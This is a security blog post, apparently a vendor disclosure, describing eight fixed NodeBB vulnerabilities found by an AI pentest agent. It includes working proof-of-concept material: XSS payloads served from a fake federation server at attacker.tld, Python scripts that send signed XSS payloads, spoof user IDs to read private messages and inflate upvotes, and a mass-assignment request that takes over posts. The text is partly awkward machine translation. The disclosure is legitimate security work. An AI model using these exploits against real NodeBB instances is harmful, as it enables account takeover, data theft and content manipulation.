Aikido

Detecção de oito vulnerabilidades de gravidade elevada no NodeBB em seis horas

Escrito por
Jorian Woltjer

TL;DR

  • As versões do NodeBB anteriores à 4.14.0 contêm várias vulnerabilidades de gravidade elevada
  • Atualize para versões mais recentes para resolver as vulnerabilidades
  • Aikido sinalizar automaticamente as instâncias vulneráveis

Enquanto aperfeiçoávamos o nosso teste de penetração com IA, realizámos uma avaliação de caixa aberta no NodeBB, um software de fórum baseado em NodeJS. O resultado? Oito vulnerabilidades de gravidade elevada, todas elas exploráveis em instâncias padrão do NodeBB. Entre elas, destacam-se casos de cross-site scripting, dois dos quais exigem interação com um servidor de federação personalizado que o agente de IA teve de configurar por si próprio. Outra vulnerabilidade afeta praticamente todas as entradas no NodeBB devido a uma injeção de modelo.

Para além destas questões, existiam formas engenhosas de contornar as autorizações para se apropriar e aceder a vários dados que não deveriam ser públicos. Explicámos todos os detalhes técnicos interessantes abaixo.

Um aspeto interessante destes testes de penetração autónomos é que concluem os testes em apenas algumas horas. Os agentes apresentaram ideias, analisaram o código e realizaram testes rigorosos com a aplicação real para apresentar conclusões concretas. Os testes de penetração conduzidos por humanos demoram frequentemente muito mais tempo, uma vez que não conseguem multiplicar os seus esforços com a mesma facilidade.

Depois de descobrirmos as vulnerabilidades, enviámos rapidamente um relatório aos responsáveis pela manutenção do NodeBB, que responderam com grande rapidez e começaram imediatamente a trabalhar nas correções. Os problemas foram resolvidos no início de julho.

Vamos abordar os pormenores técnicos das vulnerabilidades, começando por algumas vulnerabilidades XSS.

Cross-Site Scripting no ícone do perfil personalizado do servidor de federação

Isto está longe de ser uma injeção XSS refletida simples e comum, exigindo a configuração de um servidor personalizado completo para responder com uma carga maliciosa de XSS. No entanto, os agentes que utilizamos são excelentes programadores, pelo que analisam as indireções com facilidade e criam servidores personalizados para testar qualquer tipo de descoberta.

Tudo começa com helpers.common.js, que contém bastantes concatenações de HTML que levantam suspeitas. A que nos vamos concentrar é:

function buildMetaTag(tag) {
  const name = tag.name ? 'name="' + tag.name + '" ' : '';
  const property = tag.property ? 'property="' + tag.property + '" ' : '';
  const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';

  return '<meta ' + name + property + content + '/>\n\t';
}

Nas header.tpl, cada um metaTags O elemento é apresentado utilizando a função acima:

{{{each metaTags}}}{função.buildMetaTag}{{{end}}}

Os dados do utilizador são transmitidos para res.locals diretamente aqui:

if (userData.picture) {
  res.locals.metaTags.push(
    {
      property: 'og:image',
      content: userData.picture,
      noEscape: true,
    },
    {
      property: 'og:image:url',
      content: userData.picture,
      noEscape: true,
    }
  );
}

Embora algumas outras propriedades, como userData.fullname são pré-escapados através da conversão de " caracteres em ", a outra propriedade userData.picture não é (ver accounts/helpers.js). O URL para .imagem é um ficheiro carregado pelo utilizador que, normalmente, aponta para uma sequência de caracteres segura, como:
/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png

Portanto, mesmo que este valor não esteja devidamente escapado, tal como o nome completo, como é que podemos controlá-lo para que apresente uma sequência maliciosa que contenha ">?

O truque reside no facto de esta URL poder ser definida arbitrariamente quando se lida com perfis federados. O conceito de federação, neste contexto, consiste na interação com uma rede descentralizada de outras instâncias que possuem os seus próprios utilizadores e tópicos. Os dados são copiados praticamente na proporção de 1:1; por isso, se conseguirmos devolver dados maliciosos através de uma URL que contorne a sintaxe HTML entre aspas, conseguimos aceder ao sistema.

Teremos de criar um servidor de federação personalizado que responda a /.well-known/webfinger com uma referência ao utilizador XSS e, em seguida, devolver a nossa carga útil XSS como o icon.url ali:

/.well-known/webfinger?resource=acct:xss@attacker.tld:

{
  "links": [
    {
      "href": "https://attacker.tld/ap/actor/xss",
      "rel": "self",
      "type": "application/activity+json"
    }
  ],
  "subject": "acct:xss@attacker.tld"
}

/ap/ator/xss:

{
  "@context": [
    "https://www.w3.org/ns/activitystreams",
    "https://w3id.org/security/v1"
  ],
  "icon": {
    "mediaType": "image/jpeg",
    "type": "Image",
    "url": "\"><img src onerror=\"alert(origin)\">"
  },
  "id": "https://attacker.tld/ap/actor/xss",
  "inbox": "https://attacker.tld/ap/inbox/xss",
  "preferredUsername": "xss",
  "publicKey": {
    "id": "https://attacker.tld/ap/actor/xss#main-key",
    "owner": "https://attacker.tld/ap/actor/xss",
    "publicKeyPem": "dummy"
  },
  "type": "Person"
}

Com este servidor a escutar no attacker.tld, basta que a vítima pesquise um utilizador no domínio malicioso ou aceda diretamente a um link que aponte para esse domínio:

https://nodebb.local/user/xss@attacker.tld

O backend recupera attacker.tld pelo xss utilizador em /.well-known/webfinger, que faz referência a /ap/ator/xss. Este é recuperado, devolvendo a carga útil XSS, que é apresentada diretamente no <meta> etiqueta. Com a "><img> carga útil, permite contornar as restrições do HTML e acionar um alerta(origem) janela pop-up com JavaScript:

A janela pop-up do nodeBB no localhost aparece numa cloudflare de erro cloudflare

Este problema foi resolvido (4c4bf76) através da aplicação de caracteres de escape às informações provenientes de fontes federadas.

Erros de «Cross-Site Scripting» na visualização de administrador da federação

Vamos continuar com a tendência da Federação, uma vez que foi detetada mais uma vulnerabilidade XSS no registo de erros destinado aos administradores. É importante referir que, embora apenas os administradores possam aceder a estes registos, qualquer atacante não autenticado pode armazenar a carga maliciosa. A exploração desta vulnerabilidade exigiu uma configuração ainda mais complexa por parte do atacante do que a última vulnerabilidade XSS, mas os agentes conseguiram, mesmo assim, descobrir como o fazer.

O lavatório é simples. No interior errors.tpl, o {./id} A variável está incorporada no código HTML.

<code>{./id}</code>

Embora não constitua um problema para a maioria das configurações de modelos, no NodeBB, a funcionalidade de escape automático para o Benchpress é explicitamente desativada aqui, substituindo-a por uma função de identidade:

        __escape: identity,
    };

    function identity(str) {
        return str;
    }

O NodeBB depende da codificação manual das variáveis passadas para os modelos. Um dos pontos em que isto não é feito é o id de erros de federação. E como é que provocamos um erro desses, perguntarão? Escrevemos outro servidor de federação personalizado, claro, mas desta vez com algumas falhas.

Primeiro, vamos configurar um servidor tal como fizemos anteriormente, mas, o mais importante, vamos gerar e disponibilizar uma chave pública para assinar mensagens.

/ator:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "id": "https://attacker.tld/actor",
  "type": "Person",
  "preferredUsername": "evil",
  "inbox": "https://attacker.tld/inbox",
  "publicKey": {
    "id": "https://attacker.tld/actor#main-key",
    "owner": "https://attacker.tld/actor",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
  }
}

Em seguida, adicione um /.well-known/webfinger ponto final como antes, que devolve qualquer conta:

/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:

{
  "subject": "acct:evil@attacker.tld",
  "links": [
    {
      "rel": "self",
      "type": "application/activity+json",
      "href": "https://attacker.tld/actor"
    }
  ]
}

Agora que temos um servidor em attacker.tld Com uma chave que conhecemos, podemos enviar atualizações do NodeBB através do /caixa de entrada caminho. Cada tipo que enviamos é processado por uma função específica em inbox.js. O middleware verifica uma assinatura utilizando ActivityPub.verify, que, basicamente, retira vários atributos do pedido e verifica se estão assinados pela chave pública do servidor de federação. Criámos o nosso próprio servidor, por isso essa parte agora é fácil.

Para provocar um erro, podemos utilizar o primeiro em atualização da caixa de entrada:

inbox.update = async (req) => {
  const { actor, object } = req.body;
  const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);

  // Origin checking
  const actorHostname = new URL(actor).hostname;
  const objectHostname = new URL(object.id).hostname;
  if (actorHostname !== objectHostname) {
    throw new Error('[[error:activitypub.origin-mismatch]]');
  }

[[erro:activitypub.origin-mismatch]] acontece quando o ator e object.id da nossa solicitação não coincidem. Podemos falsificá-las facilmente.
É importante referir que o id que fornecemos será armazenada juntamente com o erro e, como já vimos, é apresentada de forma insegura como HTML no Painel de Administração. Por isso, vamos definir isso como uma carga XSS do tipo <img src onerror=alert(origin)>.

O script final fica assim:

# Craft payload
payload = {
    '@context': 'https://www.w3.org/ns/activitystreams',
    'id': '<img src onerror=alert(origin)>',
    'type': 'Update',
    'actor': f'https://attacker.tld/actor',
    'object': {
        # Different origin than actor to trigger an error path
        'id': 'https://nodebb.local/post/1',
        'type': 'Note'
    },
    'to': ['https://www.w3.org/ns/activitystreams#Public']
}

# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
    'Host': u.netloc,
    'Date': date,
    'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
    'Accept': 'application/activity+json',
    'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}

# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])

Após enviar esta carga útil, esta deverá aceder ao servidor personalizado do atacante para verificar a assinatura e, em seguida, ao agente referido. Uma vez que as origens de ator e object.id Se os dados da carga útil forem diferentes, é gerado um erro e é criada uma entrada na página «Erros da Federação» no Painel de Administração.

Quando um administrador acede agora a esta página para verificar se existem erros, é recebido com uma caixa de alerta em JavaScript, porque o nosso código malicioso <img> A etiqueta foi interpretada como HTML verdadeiro entre as <code>:

A partir daqui, um atacante pode assumir o controlo de toda a instância do NodeBB, uma vez que o JavaScript permite que um administrador faça o que quiser.

Este problema foi resolvido (16bda6b) através da codificação de todos os campos apresentados nos «Erros de Federação».

Cross-Site Scripting através da injeção num modelo de tradução

A última vulnerabilidade XSS detetada foi outra bastante interessante. Está relacionada com a forma como os modelos são renderizados. Para devolver um corpo, o NodeBB segue, essencialmente, estes dois passos (definidos em render.js):

  1. Gerar o modelo do Benchpress com variáveis de entrada (sintaxe: {...})
  2. Interpretar chaves de tradução (sintaxe: [[...]])
function renderContent(render, tpl, req, res, options) {
  return new Promise((resolve, reject) => {
    render.call(res, tpl, options, async (err, str) => {
      if (err) reject(err);
      else resolve(await translate(str, getLang(req, res)));
    });
  });
}

Já vimos, na vulnerabilidade anterior, o que pode correr mal com o Benchpress. Agora vamos concentrar-nos no transformar() função, que, fundamentalmente, ocorre depois de A nossa entrada é apresentada no modelo.

A vulnerabilidade começa já aqui. Porque a nossa entrada já chegou até str quando as traduções forem processadas, se conseguirmos escrever o mesmo [[...]] sintaxe, seria interpretada. [ ou ] não são considerados caracteres especiais por escapeCharMap no interior utils.common.js, apenas &<>"'`= são.

Na verdade, todas as páginas reflete o URL num <meta property="og:url"> propriedade. Podemos inserir uma chave de tradução nesta mesma propriedade para ver o resultado. As chaves de tradução são armazenadas por namespace; por exemplo, topic.json contém "flag-user": "Sinalizar este utilizador". Se nos basearmos nisso:

https://nodebb.local/test[[topic:flag-user]]

<meta property="og:url" content="https://nodebb.local/testFlag this user" />

Foi interpretada com sucesso. Algumas mensagens são mais complexas e contêm marcadores de lugar com %1 e %2, que podemos controlar através de argumentos separados por vírgulas. Por exemplo:

"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"

Está prestes a acontecer algo interessante, porque a tradução contém " (para definir o href), embora o contexto em que o inserimos não seja texto, mas sim um meta conteúdo= atributo, utilizando também aspas duplas para indicar o seu valor.

https://nodebb.local/test[[topic:merged-message,A,B]]

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />

Pela formatação de sintaxe, pode ver-se que o que antes era a aspa de abertura de href=, é agora a citação de encerramento de conteúdo=. Isso significa começar pela nossa A, estamos num contexto de definição de atributos e podemos adicionar quaisquer atributos a esta etiqueta!

No entanto, se nos limitarmos a substituir A com onerror=alert(), deparamo-nos com uma imagem triste:

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror&#x3D;alert()">B</a>" />

Embora o atributo pareça ser transmitido, o sinal de igual (=) transformou-se em &#x3D;. Lembras-te? Em escapeCharMap, o sinal de igual é considerado um carácter especial e é sempre submetido a escape HTML na saída. Por conseguinte, não podemos adicionar valores atributos para transformar esta injeção em XSS.

No entanto, ainda há esperança, uma vez que o modelo que utilizámos, mensagem combinada, insere o nosso primeiro parâmetro (A) diretamente para o href= disto <a> etiqueta. Utilizando um javascript: URI, ainda é possível executar código JavaScript arbitrário ao clicar. Basta fazê-lo após escape nossa primeira escape atributo, adicionando outra etiqueta de modelo:

https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]

<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK&#37;20ME</a>" />

Visualmente, existe agora um cabeçalho na página com o texto CLIQUE AQUI. Quando se clica nele, o JavaScript é executado e alerta(origem) é apresentado:

Acabámos de comprovar o PoC na reflexão mais fácil de testar: a própria URL. Mas isto funciona em qualquer saída gerada pelo NodeBB. Na URL, estamos limitados a caracteres codificados em URL, como %20. Na área exclusiva para administradores /flags?quick= ponto final, o valor de rápido também é refletido, mas é descodificado a partir do URL!

Para concluir o PoC, podemos torná-lo mais realista utilizando emojis que se assemelhem aos ícones oficiais, solicitando ao utilizador que atualize através de uma mensagem do tipo «⚠️ É necessária uma atualização»:

https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required

<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Mais uma vez, clicar no botão acionaria código JavaScript arbitrário. Esta foi a prova de conceito inicial que o agente utilizou para comunicar o problema.

A carga útil pode até ser armazenada dentro de publicações no NodeBB, o que facilita a sua partilha com outros utilizadores. O problema subjacente é que todo o conteúdo renderizado passa por um processo de tradução, no qual a entrada do utilizador pode utilizar a mesma sintaxe.

Resolver este problema foi mais complicado. Como vimos, trata-se mais de uma questão de conceção do que de um erro específico em algum ponto. Isto porque as traduções ocorrem sempre após a renderização do modelo, e os caracteres de tradução são permitidos no modelo.

A solução mais simples seria aplicarescape [ e ] caracteres para garantir que não sejam interpretados como traduções. Mas acontece que algumas funcionalidades/plug-ins, na verdade, require ser capaz de gerar sequências de tradução a partir de variáveis de modelo. Isto constituiria uma alteração que causaria incompatibilidade.

Como solução inicial, o NodeBB tentou escape manualmente escape os locais em que a entrada do utilizador é refletida com translator.escape(). No entanto, isto não está completo, pelo que acrescentaram muito trabalho reestruturar o sistema de tradução para que este pode serão automaticamente escapadas, e as funcionalidades/plug-ins devem ser corrigidos para lidarem adequadamente com esta alteração que causa incompatibilidade. Isto já está implementado na versão 4.14.0.

Como medida de segurança adicional, o código HTML gerado pelas funções do tradutor agora também está higienizado, de modo que, mesmo que um atacante controle o texto, não consiga escrever javascript: hrefs.

Contornar o middleware de autorização de administrador utilizando uma página inicial personalizada

Esta é uma solução simples, mas engenhosa. Se analisarmos o middleware do NodeBB, encontramos este trecho de código responsável por gerir a autorização para /admin percursos no interior middleware/admin.js:

middleware.checkPrivileges = helpers.try(async (req, res, next) => {
  // Kick out guests, obviously
  if (req.uid <= 0) {
    return controllers.helpers.notAllowed(req, res);
  }

  // Otherwise, check for privilege based on page (if not in mapping, deny access)
  const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
  if (path) {
    const privilege = privileges.admin.resolve(path);
    if (!await privileges.admin.can(privilege, req.uid)) {
      return controllers.helpers.notAllowed(req, res);
    }
  } else {
    // If accessing /admin, check for any valid admin privs
    const privilegeSet = await privileges.admin.get(req.uid);
    if (!Object.values(privilegeSet).some(Boolean)) {
      return controllers.helpers.notAllowed(req, res);
    }
  }

À primeira vista, tudo parece estar correto. Se privileged.admin.get() se não devolver nada, não é permitido o acesso. O ponto crucial é que este middleware está registado para o /admin percurso antes gestão de reescritas personalizadas da página inicial em routes/index.js:

router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);

// handle custom homepage routes
router.use('/', controllers.home.rewrite);

Qualquer utilizador pode configurar a sua página inicial para que seja redirecionada para outro URL, como funcionalidade. Isto é implementado por outro middleware acionado em /. Internamente, define req.url para refletir o valor configurado:

async function rewrite(req, res, next) {  if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
    return next();
  }
  ...
  route = await getUserHomeRoute(req.uid, next);  parsedUrl = new URL(route, 'http://localhost.com');  const pathname = parsedUrl.pathname.replace(/^\/+/, '');  req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname;  ...  next();


seguinte()
é chamado para continuar a procurar o percurso efetivo, mas isto agora é depois de As verificações do caminho de administração já foram realizadas.

Isto significa que, se definir a sua página inicial personalizada como /admin, irá ver o painel de administração, mesmo sendo um membro normal. Não é necessário ter acesso de administrador.

A única coisa que nos está a «impedir» é um código do lado do cliente que recupera o valor configurado quando se tenta guardá-lo, antes de enviar efetivamente as definições para o servidor:

$.get(config.relative_path + '/' + settings.homePageCustom, function () {
  saveSettings(settings);
}).fail(function () {
  alerts.error('[[error:invalid-home-page-route]]');
});

Esta verificação pode ser facilmente contornada enviando diretamente um PUT /api/v3/users/:id/settings solicitar ou utilizar um ponto de interrupção no navegador para ignorar a verificação e chamar saveSettings() diretamente.
Depois de o configurar para admin/avançado/cache, por exemplo, podemos recarregar o / página e ver uma série de informações internas destinadas aos administradores:

Até as APIs são acessíveis através de /api/admin, no entanto, a maioria das APIs para, na verdade, edição os dados passam por /api/v3/admin. Estas são as rotas de «gravação» e incluem verificações adicionais de privilégios no interior do manipulador de cada rota. Por conseguinte, não são vulneráveis a este ataque.
Ainda assim, isso resulta numa exposição/alteração significativa dos dados:

  • GET /api/admin/users/csv: Obter a exportação em CSV de todos os utilizadores, se existir. As colunas dependem da escolha feita na última exportação realizada pelo administrador
  • GET /api/admin/advanced/errors: Ler todos os registos de erros
  • POST /api/admin/manage/categories: Adicionar a categoria «remoto» à lista da barra lateral
  • POST /api/admin/uploadlogo: Atualizar o logótipo do site

Este problema foi resolvido (9885f94) através da reordenação do middleware, de modo a que as verificações de permissões sejam executadas após a reescrita.

Falsificação do ID de utilizador para ler mensagens privadas

Para permitir a comunicação com outras redes sociais, o NodeBB implementa ActivityPub, que é um protocolo para partilhar utilizadores/conteúdos entre instâncias. A segurança criptográfica é garantida através da atribuição a cada utilizador de uma chave pública com a qual pode assinar as suas ações. Nas solicitações, um Assinatura: O cabeçalho é adicionado com atributos como keyId e assinatura.

O ActivityPub.verify A função valida estes dados corretamente:

ActivityPub.verify = async (req) => {
  ...
  let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
    const split = cur.split('="');
    const key = split.shift();
    const value = split.join('="');
    memo[key] = value.slice(0, -1);
    return memo;
  }, {});
  const signed_string = headers.split(' ').reduce((memo, cur) => {
     ...  }, []).join('\n');
  const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);

  return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));

Se analisarmos onde esta função é utilizada, vemos apenas a sua localização no activitypub.js middleware aqui:

middleware.verify = async function (req, res, next) {
  // Verifies the HTTP Signature if present (required for POST)
  const passthrough = [/\/actor/, /\/uid\/\d+/];
  if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
    return next();
  }

  if (req.method === 'POST') {
    const verified = await activitypub.verify(req);    if (!verified) {
      return res.sendStatus(400);
    }
  }

  if (req.headers.signature) {
    const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
    if (keyId.length) {
      req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');

Curiosamente, só funciona activitypub.verify(req) se o req.method === 'POST'! Por alguma razão, a assinatura dos pedidos GET não é verificada. Que pontos de acesso podemos aceder com isto?

Na verdade, existe apenas um ponto final que utiliza req.uid para autenticação, e isso é GET /message/:mid. Em middleware/assert.js Lemos:

!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))

Este endpoint recupera mensagens privadas de req.params.mid:

Actors.message = async function (req, res) {
  ...
  const messageObj = await messaging.getMessageFields(req.params.mid, []);
  messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
  const payload = await activitypub.mocks.notes.private({ messageObj });
  res.status(200).json(payload);
};

Agora já temos uma visão completa da situação. O Assinatura: O cabeçalho só é verificado para pedidos POST, pelo que o GET /message/:mid O endpoint não verifica o keyId= atributo. Com ele, podemos fazer-nos passar por qualquer pessoa e divulgar os IDs das mensagens incrementais, um a um, para comprometer completamente as conversas privadas.

# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')

# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
    for uid, name in users:
        headers = {
            'Accept': 'application/activity+json',
            'Signature': f'keyId="{uid}"',
        }
        r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
        if r.ok:
            j = r.json()
            content = j.get("content", "")[:80].strip()
            tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')

Este problema já foi resolvido (f6b5cd8) definindo apenas req.uid numa ramificação do código em que activitypub.verify() já verificou o cabeçalho «Signature».

Apropriação de publicações com atribuição em massa de PIDs

Com todos estes corpos JSON, é provável que surjam alguns erros de «Mass Assignment», pelo que foi isso que o agente procurou a seguir. Se não estiver familiarizado com este tipo de erro, trata-se de adicionar campos internos à sua solicitação para os sobrescrever sem que a aplicação web o pretenda.
Isto acontece frequentemente quando todo o corpo da solicitação é analisado e inserido na base de dados. Existem padrões semelhantes nesta base de código?

Aqui no POST /api/v3/topics, no ponto final, lemos:

Topics.create = async (req, res) => {
  const id = await lockPosting(req, '[[error:already-posting]]');
  try {
    const payload = await api.topics.create(req, req.body);

Faz exatamente o que estamos à procura, passando req.body em topicsAPI.create(). A sua implementação chama posteriormente Posts.create que se baseia no dado data.pid:

const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };

O pid A propriedade é o ID da publicação, que é único, pelo que qualquer publicação pode ser consultada através deste número. Note-se que isto é ligeiramente diferente de um tema, uma vez que um tópico pode ter várias publicações associadas (respostas).
A primeira publicação em qualquer NodeBB é sempre uma publicação do administrador intitulada «Bem-vindo ao seu NodeBB!»:

Um fórum NodeBB. Há uma mensagem de boas-vindas de um utilizador com o nome «admin» que diz «Bem-vindo ao seu novo fórum NodeBB», acompanhada de texto padrão adicional do NodeBB.

O seu ID é sempre 1, e as novas publicações vão-se acrescentando a partir daí. O que aconteceria se criássemos um new publicação que também contém pid: 1? Vamos experimentar!

POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json

{
    "title": "title",
    "content": "OVERWRITTEN BY ATTACKER",
    "cid": 2,
    "tags": [],
    "thumbs": [],
    "timestamp": 0,
    "pid": 1
}

Voltando ao post de boas-vindas:

O primeiro comentário na página de boas-vindas foi agora publicado pelo utilizador pentest_member

Apropriámo-nos da publicação! Mas o conteúdo ainda não parece ter sido atualizado. No entanto, como agora somos os proprietários, basta editá-la rapidamente e guardá-la novamente para atualizar efetivamente o conteúdo:

Na página de boas-vindas, a mensagem de boas-vindas foi alterada para «OVERWRITTEN BY ATTACKER»

O URL continua a ser o mesmo, e quem voltar a esta publicação verá o novo conteúdo do atacante. Em combinação com uma conta idêntica, isto pode ser muito eficaz para corromper parte do conteúdo, como, por exemplo, alterar comandos maliciosos para copiar num tutorial.

Este problema já foi resolvido (7f08fb9) eliminando o pid propriedade do corpo do pedido, pelo que já não pode substituir o campo interno.

Ler todas as categorias sem autenticação

This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".

É mesmo assim tão simples. O percurso /categoria/:cid/caixa de saída é tratado pela seguinte função, que não efetua verificações de autorização, mas devolve todos os tópicos de uma determinada categoria (incluindo os privados), referenciados por um número incremental cid.

Controller.getCategoryOutbox = async (req, res) => {
  const { cid } = req.params;
  const { page } = req.query;
  const set = `cid:${cid}:pids`;
  const count = await db.sortedSetCard(set);
  const collection = await activitypub.helpers.generateCollection({
    set,
    count,
    page,
    perPage: 20,
    url: `${nconf.get('url')}/category/${cid}/outbox`,
  });
	...
  res.status(200).json({
    '@context': 'https://www.w3.org/ns/activitystreams',
    ...collection,
  });
};

Um simples pedido GET para /category/2/outbox com um cabeçalho Accept: application/activity+json para ativar o ActivityPub devolve uma lista não filtrada de todas as publicações associadas a esse ID de categoria. Eis uma categoria privada que criámos e à qual apenas os administradores têm acesso:

Sem autenticação, é possível aceder ao seguinte conteúdo:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "OrderedCollection",
  "totalItems": 2,
  "orderedItems": [
    {
      "object": {
        "object": {
          ...
          "name": "secret content",
          "url": "https://nodebb.local/post/2",
          "content": "<p>SUPER SECRET CONTENT</p>\n"
    }}},
    {
      "object": {
        "object": {
          ...
          "inReplyTo": "http://4.245.3.4:4567/post/2",
          "name": "secret content",
          "url": "https://nodebb.local/post/3",
          "content": "<p>replies too!</p>\n"
        }

Este problema já foi resolvido (8e98325) adicionando um tópicos:ler verificação de autorizações na rota da caixa de saída.

Inflação de votos positivos por parte de um interveniente não controlado

Esta última é mais uma curiosidade divertida, mas pode ser utilizada de forma abusiva para enviar spam ou para fins de manipulação. Um dos agentes descobriu uma forma de dar «upvotes» infinitos a uma publicação! (Por falar em infinito… Dá uma vista de olhos em Aikido pentest contínuo! ;) )

Existem duas formas de dar um voto positivo a uma publicação («Gosto» no ActivityPub):

  1. Diretamente através de /caixa de entrada ou /uid/:uid/caixa de entrada, verificado com o keyId da assinatura
  2. Inserido numa mensagem «Announce» através de /categoria/:cid/caixa de entrada

Nessa mensagem, deve indicar um ator que representa a pessoa que realizou a ação. O middleware autoriza este ator através do cabeçalho «Signature» keyId, nomeadamente o req.body.actor campo:

middleware.assertPayload = helpers.try(async function (req, res, next) {
  ...
  let { actor } = req.body;

  const { hostname } = new URL(actor);
  const allowed = await activitypub.instances.isAllowed(hostname);

  await activitypub.actors.assert(actor);
  let compare = await db.getObjectsFields([
    `userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
  ], ['id']);
  compare = compare.reduce(...).replace(/#[\w-]+$/, '');

  if (compare !== keyId) {
    return res.sendStatus(403);
  }

Isto funciona muito bem para o primeiro ponto de extremidade, porque o seu ator É necessário verificar essa propriedade. Eis um exemplo de mensagem:

{
  "id": "https://nodebb.local/uid/42#activity/like/3",
  "type": "Like",
  "actor": "https://nodebb.local/uid/42",
  "to": ["https://www.w3.org/ns/activitystreams#Public"],
  "cc": ["https://nodebb.local/uid/7"],
  "object": "https://nodebb.local/post/3"
}

No entanto, o formato de uma mensagem do tipo «Anúncio» é diferente; os «Gostos» ator está incorporado num objeto:

{
  "id": "https://nodebb.local/post/3#activity/announce/1717234567890",
  "type": "Announce",
  "actor": "https://nodebb.local/category/1",
  "to": ["https://nodebb.local/category/1/followers"],
  "cc": [
    "https://nodebb.local/uid/42",
    "https://www.w3.org/ns/activitystreams#Public"
  ],
  "object": {
    "id": "https://nodebb.local/uid/42#activity/like/3",
    "type": "Like",
    "actor": "https://nodebb.local/uid/42",
    "to": ["https://www.w3.org/ns/activitystreams#Public"],
    "cc": ["https://nodebb.local/uid/7"],
    "object": "https://nodebb.local/post/3"
  }
}

Uma vez que ambos utilizam o mesmo assertPayload middleware, a segunda forma, utilizando o formato «Announce» não está verificado. O ator pode ser qualquer sequência de caracteres aleatória e única para servir como um novo utilizador. Aqui, o Como o tipo de objeto é reconhecido e utiliza diretamente object.actor em posts.upvote():

case object.type === 'Like': {
  const id = object.object.id || object.object;
  const { id: localId } = await activitypub.helpers.resolveLocalId(id);
  const exists = await posts.exists(localId || id);
  if (exists) {
    try {
      await activitypub.actors.assert(object.actor);
      const result = await posts.upvote(localId || id, object.actor);

Um atacante pode enviar repetidamente pedidos como este para aumentar gradualmente o número de votos positivos numa publicação, com milhares por minuto, de forma a inflar completamente a credibilidade da mesma.

POST_ID = 1  # Target post
payload = {
    'id': str(uuid.uuid4()),
    'type': 'Announce',
    'actor': 'https://nodebb.local/uid/999',
    'object': {
        'id': f'https://nodebb.local/object/{uuid.uuid4()}',
        'type': 'Like',
        'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
        'object': f'https://nodebb.local/post/{POST_ID}'
    }
}
headers = {'Content-Type': 'application/activity+json',
           'Signature': 'keyId=""'}

